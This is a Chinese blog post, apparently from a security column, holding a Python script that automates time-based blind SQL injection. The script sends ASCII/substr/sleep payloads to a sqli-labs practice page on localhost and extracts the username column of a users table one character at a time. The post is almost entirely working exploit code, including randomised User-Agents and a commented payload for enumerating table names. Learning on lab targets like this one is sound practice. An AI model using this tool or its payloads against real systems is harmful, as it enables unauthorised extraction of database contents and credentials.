SQL注入代码实践（盲注-获取字段中内容【数字型】）

SQL注入盲注结果获取与字符拼接

最新推荐文章于 2024-05-30 19:45:52 发布

原创最新推荐文章于 2024-05-30 19:45:52 发布 · 303 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#python #pycharm #开发语言

网络安全专栏收录该内容

9 篇文章

订阅专栏

该代码实现了一个SQL注入盲注工具，通过ASCII码判断目标数据库中的信息。它首先确定字段长度，然后逐位判断字符，利用延时注入技术验证ASCII值，最终拼接出字段内容。

# -*- coding: utf-8 -*-
"""
@Time ： 2022/4/4 22:10
@Auth ： zhangxiang
@File ：BlindInject_NumResult.py
@IDE ：PyCharm
@Motto：ABC(Always Be Coding)

"""
from urllib import request
from urllib import parse
import re
import time
import sys
import random
from ua_info import ua_list
from GetResultLength_Num import GetResultLength_Num

class BlindInject_NumResult:
    def __init__(self):
        pass
    def StartInject_NumResult(self,url,code,resultList,TableName,numResult,ColumnName):
        flag=0
        #%20and%20if(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1)=%27e%27,sleep(5),1)
        for num in range(0, numResult+1):

            url = url
            judgeStr = "%20and%20if(ascii(substr((select%20group_concat(ColumnName)%20from%20TableName" \
                       "),changeNum,1))=%27replaceStr%27,sleep(2),1)"
            submitStr = "&submit=0x5375626D6974%23"
            patternTableName = r"TableName"
            replaceTableName = TableName
            changeName1 = re.sub(patternTableName, replaceTableName, judgeStr)
            patternColumnName = r"ColumnName"
            replaceColumnName = ColumnName
            changeName2 = re.sub(patternColumnName, replaceColumnName, changeName1)
            pattern1 = r"changeNum"
            replace1 = str(num)
            FisWord = re.sub(pattern1, replace1, changeName2)

            for x in range(44,123):#用ascii码判断，排除大小写错误
                asciiNum = str(x)
                word = FisWord + submitStr
                # 正则chr(asciiNum)
                pattern2 = r"replaceStr"
                replace2 = asciiNum
                SeWord = re.sub(pattern2, replace2, word)
                full_url = url + SeWord
                # print(full_url)
                # 2.发请求保存到本地
                headers = {'User-Agent':random.choice(ua_list)}
                startTime = time.time()
                req = request.Request(url=full_url, headers=headers)
                res = request.urlopen(req)

                endTime = time.time()
                allTime = endTime - startTime
                # print(allTime)
                # print(flag)

                if (resultList[flag] == "None"):
                    print("注入结束")
                    return resultList

                if (allTime > 2):
                    print("*" * 200)
                    asciiRe = chr(x)
                    resultList.append(asciiRe)
                    print("得到盲注结果:" + str(resultList))
                    print("注入的payload：" + full_url)
                    print("使用的时间：" + str(allTime))
                    print("*" * 200)
                    flag = flag+1
                else:
                    pass

        return resultList
    def getStr(self,resultList):  # 将列表值转为字符串
                    resultList.pop(0)
                    list2 = [str(i) for i in resultList]
                    strList = ''.join(list2)
                    return strList




if __name__ == '__main__':
    BlindInject_NumResult = BlindInject_NumResult()
    GetResultLength_Num = GetResultLength_Num()
    TableName = "users"
    ColumnName="username"
    resultList = ["开始"]
    path = './code2.txt'
    url = "http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-2/?id=1"
    f = open(path, 'r', encoding='utf-8')
    code = f.read()
    print(resultList[0])
    print("注入中，请稍等：")
    numResult = GetResultLength_Num.StartGetResultLength_Num(url,TableName,ColumnName)
    print("该字段中的内容的长度为：" + str(numResult))
    resultList = BlindInject_NumResult.StartInject_NumResult(url,code,resultList,TableName,numResult,ColumnName)
    strList = BlindInject_NumResult.getStr(resultList)
    print("该字段中的内容有："+strList)